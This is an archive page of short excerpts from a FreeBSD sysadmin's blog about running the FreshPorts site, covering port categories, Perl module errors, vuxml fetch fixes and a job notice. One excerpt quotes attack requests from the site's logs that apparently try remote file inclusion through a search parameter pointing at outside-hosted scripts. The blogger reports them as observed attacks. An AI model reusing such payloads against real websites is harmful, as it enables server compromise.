Author name: Dan Langille

I've been playing with Open Source software, starting with FreeBSD, since New Zealand Post installed DSL on my street in 1998. From there, I started writing at The FreeBSD Diary, moving my work here after I discovered WordPress. Along the way, I started the BSDCan and PGCon conferences. I slowly moved from software development into full time systems administration and now work for very-well known company who has been a big force in the security industry.

category tk – welcome to the Ports collection!

The tk category now has a member! This category was added to www/en/ports/categories about six months ago. It was this commit that did it. The previously reported problem with virtual categories repeated in production. That is to be expected. The proposed solution exists only on my private dev server at home. Regretably, the solution has […]

category tk – welcome to the Ports collection! Read More »

MASTERPORT : who uses it?

MASTERPORT is a tool Mark Linimon and I have used for a while. It seems to have entered into common usage now. freshports.org=# select master_port, category, name from ports_active where master_port like ‘/%’ order by category, name; master_port | category | name ———————————————–+————–+————————— /usr/home/dan/ports/devel/ocaml-camlidl | archivers | ocaml-zip /usr/home/dan/ports/devel/ocaml-camlidl | graphics | ocaml-lablgl /usr/home/dan/ports/japanese/kinput2-freewnn/ |

MASTERPORT : who uses it? Read More »

Work wanted

I’m looking for work. I’m a software developer with lots of sysadmin experience. My ideal job would require multiple skills and involve development of high availability strategy, some coding, database design, and some sysadmin work, although not necessarily in that order. My resume: http://www.freebsddiary.org/dan_langille.php Will consider relocation.

Work wanted Read More »

p5-Text-CSV_XS is missing

Late last night, I wrote about a problem with virtual categories. I’ve been unable to reproduce the problem in test. But I did find the problem in production. [dan@supernews:/usr/websites/freshports.org/scripts] $ touch ../dynamic/www.en.ports.categories [dan@supernews:/usr/websites/freshports.org/scripts] $ sh process_www_en_ports_categories.sh about to fetch: fetch -q -o /usr/websites/freshports.org/dynamic/caching/tmp/categories http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/www/en/ports/categories?rev=HEAD&content-type=text/plain Can’t locate Text/CSV_XS.pm in @INC (@INC contains: /usr/local/lib/perl5/5.8.8/BSDPAN /usr/local/lib/perl5/site_perl/5.8.8/mach /usr/local/lib/perl5/site_perl/5.8.8 /usr/local/lib/perl5/site_perl

p5-Text-CSV_XS is missing Read More »

Odd way to break in

Some people like to break into systems. Some like to find vulnerabilities. The good ones will tell you about the vulnerability so you can fix. Many won’t. Then there are the script kiddies. They don’t know much. They know how to run scripts. Lately, I’ve been seeing these requests to the FreshPorts website: /search.php?stype=http://0x00013.50webs.org/tesgcc.txt? /search.php?stype=http://0x0134.lan.io/pb.php?

Odd way to break in Read More »

when is a Makefile not a Makefile?

This is not good: $ file -kb /usr/home/dan/ports/www/p5-HTTP-Size/Makefile Apple Old Partition data block size: 20069, first type: ${PORTSDIR}/www/p5-HTML-SimpleL, name: I \, number of blocks: 1953460746, It should read: $ file -kb /usr/home/dan/ports/sysutils/bacula-server/Makefile ASCII English text Why do I care? The file in question has been fetched from the FreeBSD repository (via cvsweb). I need to

when is a Makefile not a Makefile? Read More »

vuxml – fix

This isn’t so much a fix for the vuxml problem mentioned previously as it is a fix for properly detecting and reporting fetch errors. The patch is pretty simple: $ cvs di -u utilities.pm Index: utilities.pm =================================================================== RCS file: /home/repositories/freshports-1/scripts/utilities.pm,v retrieving revision 1.16 diff -u -r1.16 utilities.pm — utilities.pm 13 Sep 2007 13:01:41 -0000 1.16

vuxml – fix Read More »

vuxml configuration still not right

This morning portaudit told me I needed to upgrade PHP5 on a few servers. Again, I checked FreshPorts to see if a fix was in. Apparently it was. Unfortunately, it was wrong. Checking the version of vuln.xml in the ports tree, I found: $ grep ‘$FreeBSD’ ports/security/vuxml/vuln.xml $FreeBSD: ports/security/vuxml/vuln.xml,v 1.1416 2007/09/11 19:40:02 remko Exp $

vuxml configuration still not right Read More »

Scroll to Top